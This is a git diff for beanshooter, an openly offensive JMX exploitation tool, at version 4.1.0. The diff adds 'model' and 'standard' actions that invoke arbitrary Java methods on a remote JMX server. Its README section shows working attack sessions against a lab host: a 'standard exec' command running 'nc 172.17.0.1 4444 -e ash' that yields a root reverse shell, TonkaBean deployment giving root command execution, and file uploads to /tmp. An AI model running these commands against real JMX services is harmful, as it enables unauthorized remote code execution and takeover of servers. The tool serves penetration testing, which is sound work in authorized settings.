diff --git a/CHANGELOG.md b/CHANGELOG.md
index dc8a029..aa36b27 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -6,6 +6,18 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+## [4.1.0] - Mar 20, 2023
+
+### Added
+
+* Add [model](/#model) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html))
+* Add [standard](/#standard) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html))
+
+### Changed
+
+* Improved exception handling
+
+
## [4.0.0] - Mar 07, 2023
### Added
diff --git a/Dockerfile b/Dockerfile
index db449ab..3797fcb 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -15,7 +15,7 @@ FROM alpine:latest AS jdk-builder
RUN set -ex \
&& apk add --no-cache openjdk11 \
&& /usr/lib/jvm/java-11-openjdk/bin/jlink \
- --add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver \
+ --add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver,java.xml \
--verbose --strip-debug --compress 2 --no-header-files --no-man-pages --output /jdk
###########################################
diff --git a/README.md b/README.md
index 5137766..38d61a3 100644
--- a/README.md
+++ b/README.md
@@ -8,7 +8,7 @@
![](https://github.com/qtc-de/beanshooter/workflows/develop%20maven%20CI/badge.svg?branch=develop)
![](https://img.shields.io/badge/java-8%2b-blue)
[![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/)
-[![](https://img.shields.io/badge/version-4.0.0-blue)](https://github.com/qtc-de/beanshooter/releases)
+[![](https://img.shields.io/badge/version-4.1.0-blue)](https://github.com/qtc-de/beanshooter/releases)
[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/beanshooter/blob/master/LICENSE)
@@ -61,8 +61,10 @@ autocompletion.
- [invoke](#invoke)
- [jolokia](#jolokia)
- [list](#list)
+ - [model](#model)
- [serial](#serial)
- [stager](#stager)
+ - [standard](#standard)
- [undeploy](#undeploy)
+ [MBean Operations](#mbean-operations)
- [generic](#generic-mbean-operations)
@@ -449,6 +451,153 @@ The `list` action prints a list of all registered *MBeans* on the remote *JMX* s
[...]
```
+#### Model
+
+The `model` action is one of the most powerful *beanshooter* operations and implements a technique
+identified by [Markus Wulftange](https://twitter.com/mwulftange) that allows you to invoke arbitrary
+*public* and *static* Java methods. Moreover, *public* object methods can also be invoked on a user
+created object instance. The only requirements are that the utilized method arguments and the provided
+object instance (for *non static* methods) are serializable.
+
+The following listing shows an example usage, where an `File` object is provided as object instance
+and the `String[] list()` operation is invoked on it:
+
+```console
+[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
+[+] Deploying RequiredModelMBean supporting methods from java.io.File
+[+]
+[+] Deplyoing MBean: RequiredModelMBean
+[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
+[+]
+[+] Available Methods:
+[+] - java.lang.String toString()
+[+] - int hashCode()
+[+] - [Ljava.lang.String; list()
+[...]
+[+] - void setManagedResource(java.lang.Object, java.lang.String)
+[+]
+[+] Setting managed resource to: new java.io.File("/")
+[+] Managed resource was set successfully.
+[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
+root
+var
+opt
+srv
+bin
+mnt
+dev
+proc
+etc
+usr
+lib
+tmp
+home
+run
+media
+sbin
+sys
+.dockerenv
+```
+
+The `setManagedResource` method is always available and can be used to change the object instance to operate on:
+
+```console
+[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
+[+] Call was successful.
+[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
+passwd
+shells
+opt
+modules
+mtab
+issue
+inittab
+hosts
+...
+```
+
+When invoking *static* methods, an object instance is also required. However, the actual class of the object instance does
+not matter. E.g. if you want to invoke `getProperties()` from `java.lang.System`, you could also use a simple `String`
+as object instance. Only the specified class name matters in this case:
+
+```console
+[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
+[+] Deploying RequiredModelMBean supporting methods from java.lang.System
+[+]
+[+] Deplyoing MBean: RequiredModelMBean
+[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
+[+]
+[+] Available Methods:
+[+] - void runFinalization()
+[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
+[+] - java.lang.String getProperty(java.lang.String)
+[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
+[+] - long currentTimeMillis()
+[+] - long nanoTime()
+[+] - java.lang.SecurityManager getSecurityManager()
+[+] - void loadLibrary(java.lang.String)
+[+] - java.lang.String mapLibraryName(java.lang.String)
+[+] - void load(java.lang.String)
+[+] - java.lang.String lineSeparator()
+[+] - java.io.Console console()
+[+] - java.nio.channels.Channel inheritedChannel()
+[+] - java.util.Properties getProperties()
+[+] - void setProperties(java.util.Properties)
+[+] - java.lang.String clearProperty(java.lang.String)
+[+] - java.util.Map getenv()
+[+] - java.lang.String getenv(java.lang.String)
+[+] - void gc()
+[+] - void wait()
+[+] - java.lang.String toString()
+[+] - int hashCode()
+[+] - java.lang.Class getClass()
+[+] - void notify()
+[+] - void notifyAll()
+[+] - void setManagedResource(java.lang.Object, java.lang.String)
+[+]
+[+] Setting managed resource to: "does not matter"
+[+] Managed resource was set successfully.
+[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
+java.vm.info
+ --> mixed mode
+java.runtime.version
+ --> 11.0.18+10-alpine-r0
+sun.io.unicode.encoding
+ --> UnicodeLittle
+...
+```
+
+The `model` action uses reflection to determine available methods on the specified class. If you do not
+have the class locally available, you can still use it by specifying available methods via the `--signature`
+or `--signature-file` options. That being said, in order to get access to non default classes you need to
+provide an object instance that is also not a default class (not present in `rt.jar`). This is required, as
+the target class needs to be loaded by the same *ClassLoader* as the provided object instance. For *beanshooters*
+*example-server*, `javax.management.remote.message.VersionMessage` is suitable, as this class is present
+in `opendmk_jmxremote_optional_jar` which is present in the client as well as in the server. We can use
+this as an object instance to invoke methods on other custom classes, like `de.qtc.beanshooter.server.utils.Logger`:
+
+```console
+[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
+[+] Deploying RequiredModelMBean supporting user specified methods
+[+]
+[+] Deplyoing MBean: RequiredModelMBean
+[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
+[+]
+[+] Available Methods:
+[+] - String getIndent()
+[+] - void setManagedResource(java.lang.Object, java.lang.String)
+[+]
+[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
+[+] Managed resource was set successfully.
+[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
+EMPTY OUTPUT - Just an Indent ;)
+```
+
+If you want to know more about the technique that is implemented by the `model` action, I highly
+recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
+by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.
+
+
#### Serial
The `serial` action can be used to perform deserialization attacks on a *JMX* endpoint. By default, the action
@@ -520,6 +669,113 @@ the `--class-name`, `--object-name` and `--jar-file` options are required.
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
```
+#### Standard
+
+The `standard` action deploys a *StandardMBean* that implements the `TemplateImpl` class to achieve
+different targets. This technique was identified by [Markus Wulftange](https://twitter.com/mwulftange)
+and *beanshooter* implements it to allow command execution, file upload and *TonkaBean* deployment.
+
+```console
+[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
+[+] Creating a TemplateImpl payload object to abuse StandardMBean
+[+]
+[+] Deplyoing MBean: StandardMBean
+[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
+[+]
+[+] Caught NullPointerException while invoking the newTransformer action.
+[+] This is expected bahavior and the attack most likely worked :)
+[+]
+[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
+[+] MBean was successfully removed.
+...
+[qtc@devbox ~]$ nc -vlp 4444
+Ncat: Version 7.93 ( https://nmap.org/ncat )
+Ncat: Listening on :::4444
+Ncat: Listening on 0.0.0.0:4444
+Ncat: Connection from 172.17.0.2.
+Ncat: Connection from 172.17.0.2:40033.
+id
+uid=0(root) gid=0(root) groups=0(root)
+```
+
+Command execution via the `standard` action is blind and you do not receive the output of your command.
+Moreover, by default your command is passed to `Runtime.exec(String str)`, which does not support special
+shell features. If you want to use shell features, use the `--exec-array` option and specify your command
+like this: `'sh -c echo "my cool command" > /tmp/test.txt'`. With `--exec-array`, *beanshooter* splits the
+specified command in three parts and passes them to `Runtime.exec(String[] arr)`. However, it is generally
+recommended to use the *TonkaBean* deployment for executing commands:
+
+```console
+[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
+[+] Creating a TemplateImpl payload object to abuse StandardMBean
+[+]
+[+] Deplyoing MBean: StandardMBean
+[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
+[+]
+[+] Caught NullPointerException while invoking the newTransformer action.
+[+] This is expected bahavior and the attack most likely worked :)
+[+]
+[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
+[+] MBean was successfully removed.
+[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
+[root@172.17.0.2 /]$ id
+uid=0(root) gid=0(root) groups=0(root)
+```
+
+The huge advantage compared to the regular `tonka deploy` action is that deployment via the *StandardMBean*
+does not require an outbound network connection. If a direct deployment via `standard ... tonka` does not work,
+you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and the `file://` protocol:
+
+```console
+[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
+[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
+[+] Exporting MLet HTML file to: ./index.html
+[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
+[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
+[+] Object: MLetTonkaBean:name=TonkaBean,id=1
+[+] Codebase: file:/tmp/
+[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
+[+] Creating a TemplateImpl payload object to abuse StandardMBean
+[+]
+[+] Deplyoing MBean: StandardMBean
+[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
+[+]
+[+] Caught NullPointerException while invoking the newTransformer action.
+[+] This is expected bahavior and the attack most likely worked :)
+[+]
+[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
+[+] MBean was successfully removed.
+[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
+[+] Creating a TemplateImpl payload object to abuse StandardMBean
+[+]
+[+] Deplyoing MBean: StandardMBean
+[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
+[+]
+[+] Caught NullPointerException while invoking the newTransformer action.
+[+] This is expected bahavior and the attack most likely worked :)
+[+]
+[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
+[+] MBean was successfully removed.
+[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
+[+] Starting MBean deployment.
+[+]
+[+] Deplyoing MBean: TonkaBean
+[+]
+[+] MBean class is not known by the server.
+[+] Starting MBean deployment.
+[+]
+[+] Deplyoing MBean: MLet
+[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
+[+]
+[+] Loading MBean from file:///tmp/index.html
+[+]
+[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
+```
+
+If you want to know more about the technique that is implemented by the `standard` action, I highly
+recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
+by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.
+
#### Undeploy
The `undeploy` action removes the *MBean* with the specified `ObjectName` from the *JMX* service:
@@ -617,6 +873,9 @@ a builtin jar file is available):
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
```
+From *beanshooter v4.1.0* on, it is also possible to deploy the *TonkaBean* via the [standard](#standard) action.
+Bean deployment via the `standard` action **does not** require outbound network connections from the target server.
+
#### Generic Export
Sometimes it is not possible to serve an *MBean* implementation using *beanshooters* stager server. A common
@@ -1274,8 +1533,8 @@ For each release, there is a *normal* and a *slim* version available. Both provi
*beanshooter*, but only the *normal* version ships with [ysoserial](https://github.com/frohoff/ysoserial)
included, resulting in a larger image size:
-* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1` - `121MB`
-* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1-slim` - `61.9MB`
+* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0` - `124MB`
+* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim` - `64.8MB`
You can also build the container on your own by running the following commands:
diff --git a/beanshooter/pom.xml b/beanshooter/pom.xml
index 2174c77..bbd8d66 100644
--- a/beanshooter/pom.xml
+++ b/beanshooter/pom.xml
@@ -4,7 +4,7 @@
de.qtc.beanshooter
reactor
- 4.0.0
+ 4.1.0
beanshooter
@@ -98,12 +98,16 @@
+ java.base/java.lang
+ java.base/java.util
java.base/java.lang.reflect
java.base/jdk.internal.misc
java.rmi/java.rmi.server
java.rmi/sun.rmi.server
java.rmi/sun.rmi.transport
java.rmi/sun.rmi.transport.tcp
+ java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime
+ java.xml/com.sun.org.apache.xalan.internal.xsltc.trax
diff --git a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java
index 22d7457..092ff5f 100644
--- a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java
+++ b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java
@@ -234,8 +234,8 @@ public static Object requireOneOf(Option... options)
{
StringBuilder helpString = new StringBuilder();
- for( Option option : options ) {
-
+ for (Option option : options)
+ {
if( option.notNull() )
return option.getValue();
@@ -243,9 +243,9 @@ public static Object requireOneOf(Option... options)
helpString.append(", ");
}
- helpString.setLength(helpString.length() - 2);
+ helpString.setLength(helpString.length() - 2);
- Logger.resetIndent();
+ Logger.resetIndent();
Logger.eprintlnMixedYellow("Error: The specified aciton requires one of the", helpString.toString(), "options.");
Utils.exit();
diff --git a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java
index 73fb2ce..1cf07d5 100644
--- a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java
+++ b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java
@@ -5,7 +5,6 @@
import java.util.List;
import java.util.Properties;
-import de.qtc.beanshooter.exceptions.ExceptionHandler;
import de.qtc.beanshooter.io.Logger;
import de.qtc.beanshooter.mbean.MBean;
import de.qtc.beanshooter.mbean.mlet.MLetOption;
@@ -54,24 +53,27 @@ public static void prepareOptions(Namespace args, Properties config)
Object defaultValue = config.getProperty(option.name().toLowerCase());
- try {
-
- if( defaultValue != null && !((String) defaultValue).isEmpty() ) {
-
- if( option.getArgType() == ArgType.INT )
+ try
+ {
+ if (defaultValue != null && !((String) defaultValue).isEmpty())
+ {
+ if (option.getArgType() == ArgType.INT)
defaultValue = Integer.valueOf((String) defaultValue);
- else if( option.getArgType() == ArgType.BOOL )
+ else if(option.getArgType() == ArgType.BOOL)
defaultValue = Boolean.valueOf((String) defaultValue);
+ }
- } else if( defaultValue != null && ((String) defaultValue).isEmpty() ) {
+ else if(defaultValue != null && ((String) defaultValue).isEmpty())
+ {
defaultValue = null;
}
+ }
- } catch( Exception e ) {
+ catch (Exception e)
+ {
Logger.eprintlnMixedYellow("RMGOption", option.getName(), "obtained an invalid argument.");
- ExceptionHandler.stackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
option.setValue(args, defaultValue);
@@ -138,6 +140,12 @@ public static void addModifiers(Option option, Argument arg)
if (option == TonkaBeanOption.EXEC_ARRAY)
arg.nargs("+");
+ if (option == BeanshooterOption.STANDARD_OPERATION_ARGS)
+ {
+ arg.nargs("?");
+ arg.setDefault("");
+ }
+
if (option == TonkaBeanOption.DOWNLOAD_DEST)
arg.nargs("?");
@@ -147,6 +155,9 @@ public static void addModifiers(Option option, Argument arg)
if (option == BeanshooterOption.ATTR_VALUE)
arg.nargs("?");
+ if (option == BeanshooterOption.MODEL_RESOURCE)
+ arg.nargs("?");
+
if (option == BeanshooterOption.OBJ_NAME)
arg.nargs("?");
@@ -162,5 +173,10 @@ public static void addModifiers(Option option, Argument arg)
mBeanNames.add("custom");
arg.choices(mBeanNames);
}
+
+ if (option == BeanshooterOption.STANDARD_OPERATION)
+ {
+ arg.choices(new String[] { "exec", "upload", "tonka" });
+ }
}
}
diff --git a/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java b/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java
index cbde7a1..074f4ec 100644
--- a/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java
+++ b/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java
@@ -65,7 +65,7 @@ public static void internalError(String functionName, String message)
public static void internalException(Exception e, String functionName, boolean exit)
{
Logger.eprintMixedYellow("Internal error. Caught unexpected", e.getClass().getName(), "within the ");
- Logger.printlnPlainMixedBlue(functionName, "function.");
+ Logger.eprintlnPlainMixedBlue(functionName, "function.");
stackTrace(e);
if(exit)
diff --git a/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java b/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java
index af76876..ac54926 100644
--- a/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java
+++ b/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java
@@ -35,31 +35,31 @@ public static Map> getCredentialMap()
String[] usernames = null;
String[] passwords = null;
- if(BeanshooterOption.BRUTE_USER.notNull())
+ if (BeanshooterOption.BRUTE_USER.notNull())
usernames = new String[] { BeanshooterOption.BRUTE_USER.getValue() };
- else if(BeanshooterOption.BRUTE_USER_FILE.notNull())
+ else if (BeanshooterOption.BRUTE_USER_FILE.notNull())
usernames = readWordlist(BeanshooterOption.BRUTE_USER_FILE.getValue(), "user");
- if(BeanshooterOption.BRUTE_PASSWORD.notNull())
+ if (BeanshooterOption.BRUTE_PASSWORD.notNull())
passwords = new String[] { BeanshooterOption.BRUTE_PASSWORD.getValue() };
- else if(BeanshooterOption.BRUTE_PW_FILE.notNull())
+ else if (BeanshooterOption.BRUTE_PW_FILE.notNull())
passwords = readWordlist(BeanshooterOption.BRUTE_PW_FILE.getValue(), "password");
- if(usernames == null && passwords != null)
+ if (usernames == null && passwords != null)
{
Logger.eprintlnMixedYellowFirst("No username(s)", "specified for the brute action.");
Utils.exit();
}
- else if(usernames != null && passwords == null)
+ else if (usernames != null && passwords == null)
{
Logger.eprintlnMixedYellowFirst("No password(s)", "specified for the brute action.");
Utils.exit();
}
- else if( usernames != null && passwords != null)
+ else if (usernames != null && passwords != null)
return makeMap(usernames, passwords);
return readCredpairList();
diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java b/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java
index 5129f9c..1dcff29 100644
--- a/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java
+++ b/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java
@@ -106,7 +106,7 @@ public enum MBean implements IMBean
{
"de.qtc.beanshooter.tonkabean.TonkaBean",
},
- "tonka-bean-4.0.0-jar-with-dependencies.jar",
+ "tonka-bean-4.1.0-jar-with-dependencies.jar",
TonkaBeanOperation.values(),
TonkaBeanOption.values()
);
diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java b/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java
index 3653c47..79784aa 100644
--- a/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java
+++ b/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java
@@ -131,12 +131,15 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl
}
}
- catch (ClassNotFoundException | ClassCastException | NoSuchMethodException | SecurityException e2){}
+ catch (ClassNotFoundException | ClassCastException | NoSuchMethodException | SecurityException e2)
+ {
+ // If we cannot create a forwarding exception, we fall through to the generic exception message
+ }
Logger.eprintlnMixedYellow("Caught", "J4pRemoteException", "during MBean method invocation.");
Logger.eprintlnMixedBlue("Jolokia reported:", message);
- Utils.exit();
+ Utils.exit(e);
}
else
diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java
index ec2e7ab..35bb8a5 100644
--- a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java
+++ b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java
@@ -174,6 +174,9 @@ else if (t instanceof java.net.ConnectException)
if (t.getMessage().contains("Connection refused"))
Logger.eprintlnMixedBlue("Target", urlString, "refused the connection.");
+ else if (t.getMessage().contains("Operation timed out"))
+ Logger.eprintlnMixedBlue("Outbound connections seem to be", "blocked", "by the target.");
+
else
ExceptionHandler.unknownReason(e);
}
@@ -221,8 +224,7 @@ else if (t instanceof IOException)
ExceptionHandler.unknownReason(e);
}
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
catch (ReflectionException | NotCompliantMBeanException e)
@@ -232,8 +234,7 @@ else if (t instanceof IOException)
Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), "while loading MBean.");
Logger.eprintlnMixedBlue("This usually means that the supplied MBean class", "was not", "valid.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
catch (Exception e)
diff --git a/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java b/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java
index a67f62b..262e747 100644
--- a/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java
+++ b/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java
@@ -51,13 +51,15 @@ public RMIRegistryEndpoint(String host, int port)
this.remoteObjectCache = new HashMap();
SocketFactorySetup(host, port);
- try {
+ try
+ {
this.rmiRegistry = LocateRegistry.getRegistry(host, port, csf);
+ }
- } catch( RemoteException e ) {
+ catch (RemoteException e)
+ {
ExceptionHandler.internalError("RMIRegistryEndpoint.locateRegistry", "Caught unexpected RemoteException.");
- ExceptionHandler.stackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
}
@@ -98,29 +100,40 @@ private synchronized static void SocketFactorySetup(String host, int port)
*/
public String[] getBoundNames()
{
- if( BeanshooterOption.TARGET_BOUND_NAME.notNull() )
+ if (BeanshooterOption.TARGET_BOUND_NAME.notNull())
return new String[] { BeanshooterOption.TARGET_BOUND_NAME.getValue() };
String[] boundNames = null;
- try {
+ try
+ {
boundNames = rmiRegistry.list();
+ }
- } catch( java.rmi.ConnectIOException e ) {
+ catch (java.rmi.ConnectIOException e)
+ {
ExceptionHandler.connectIOException(e, "list");
+ }
- } catch( java.rmi.ConnectException e ) {
+ catch (java.rmi.ConnectException e )
+ {
ExceptionHandler.connectException(e, "list");
+ }
- } catch( java.rmi.UnknownHostException e ) {
+ catch (java.rmi.UnknownHostException e)
+ {
ExceptionHandler.unknownHost(e, host, true);
+ }
- } catch( java.rmi.NoSuchObjectException e ) {
+ catch (java.rmi.NoSuchObjectException e)
+ {
Logger.printlnMixedYellow("Caught", "NoSuchObjectException", "during list operation.");
Logger.printlnMixedBlue("The specified endpoint", "is not", "an RMI registry.");
- Utils.exit();
+ Utils.exit(e);
+ }
- } catch( Exception e ) {
+ catch (Exception e)
+ {
ExceptionHandler.unexpectedException(e, "list", "call", true);
}
diff --git a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java
index 3f5dbfa..8ac1c5b 100644
--- a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java
+++ b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java
@@ -78,7 +78,7 @@ public void start(URL url, String jarFile, String beanClass, String objectName)
server.setExecutor(null);
- Logger.printlnYellow("Starting HTTP server.");
+ Logger.printlnYellow("Waiting for incoming connections...");
Logger.println("");
server.start();
@@ -110,9 +110,7 @@ else if (t instanceof java.net.SocketException && t.getMessage().contains("Permi
ExceptionHandler.unknownReason(e);
}
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
-
+ Utils.exit(e);
}
catch( java.lang.IllegalArgumentException e )
@@ -124,8 +122,7 @@ else if (t instanceof java.net.SocketException && t.getMessage().contains("Permi
Logger.eprintlnMixedYellow("Caught", "IllegalArgumentException", "while creating the stager server.");
Logger.eprintlnMixedBlue("The specified port", String.valueOf(port), "is out of range.");
Logger.eprintlnMixedYellow("Specify a port within the range", String.format("0-%s", Short.MAX_VALUE * 2 + 1));
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
else
diff --git a/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java b/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java
index 2e2d504..3036725 100644
--- a/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java
+++ b/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java
@@ -12,7 +12,6 @@
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
-import de.qtc.beanshooter.exceptions.ExceptionHandler;
import de.qtc.beanshooter.io.Logger;
import de.qtc.beanshooter.utils.Utils;
@@ -53,16 +52,18 @@ public TrustAllSocketFactory(int readTimeout, int connectTimeout)
this.readTimeout = readTimeout;
this.connectTimeout = connectTimeout;
- try {
+ try
+ {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] { new DummyTrustManager() }, null);
fax = ctx.getSocketFactory();
+ }
- } catch (NoSuchAlgorithmException | KeyManagementException e) {
+ catch (NoSuchAlgorithmException | KeyManagementException e)
+ {
Logger.eprintlnMixedBlue("Unable to create", "TrustAllSocketFactory", "for SSL connections.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
}
diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java
index e2a9d9a..17c528d 100644
--- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java
+++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java
@@ -234,6 +234,62 @@ public enum BeanshooterOperation implements Operation {
BeanshooterOption.LIST_FILTER_OBJ,
}),
+ MODEL("model", "creates a RequiredModelMBean on the server", new Option[] {
+ BeanshooterOption.GLOBAL_CONFIG,
+ BeanshooterOption.GLOBAL_VERBOSE,
+ BeanshooterOption.GLOBAL_PLUGIN,
+ BeanshooterOption.GLOBAL_NO_COLOR,
+ BeanshooterOption.GLOBAL_STACK_TRACE,
+ BeanshooterOption.TARGET_HOST,
+ BeanshooterOption.TARGET_PORT,
+ BeanshooterOption.TARGET_BOUND_NAME,
+ BeanshooterOption.TARGET_OBJID_SERVER,
+ BeanshooterOption.TARGET_OBJID_CONNECTION,
+ BeanshooterOption.CONN_FOLLOW,
+ BeanshooterOption.CONN_SSL,
+ BeanshooterOption.CONN_JMXMP,
+ BeanshooterOption.CONN_JOLOKIA,
+ BeanshooterOption.CONN_JOLOKIA_ENDPOINT,
+ BeanshooterOption.CONN_JOLOKIA_PROXY,
+ BeanshooterOption.CONN_JOLOKIA_PROXY_USER,
+ BeanshooterOption.CONN_JOLOKIA_PROXY_PASS,
+ BeanshooterOption.CONN_USER,
+ BeanshooterOption.CONN_PASS,
+ BeanshooterOption.CONN_SASL,
+ BeanshooterOption.MODEL_OBJ_NAME,
+ BeanshooterOption.MODEL_CLASS_NAME,
+ BeanshooterOption.MODEL_RESOURCE,
+ BeanshooterOption.MODEL_ALL_METHODS,
+ BeanshooterOption.MODEL_SIGNATURE,
+ BeanshooterOption.MODEL_SIGNATURE_FILE
+ }),
+
+ STANDARD("standard", "creates a StandardMBean on the server", new Option[] {
+ BeanshooterOption.GLOBAL_CONFIG,
+ BeanshooterOption.GLOBAL_VERBOSE,
+ BeanshooterOption.GLOBAL_PLUGIN,
+ BeanshooterOption.GLOBAL_NO_COLOR,
+ BeanshooterOption.GLOBAL_STACK_TRACE,
+ BeanshooterOption.TARGET_HOST,
+ BeanshooterOption.TARGET_PORT,
+ BeanshooterOption.TARGET_BOUND_NAME,
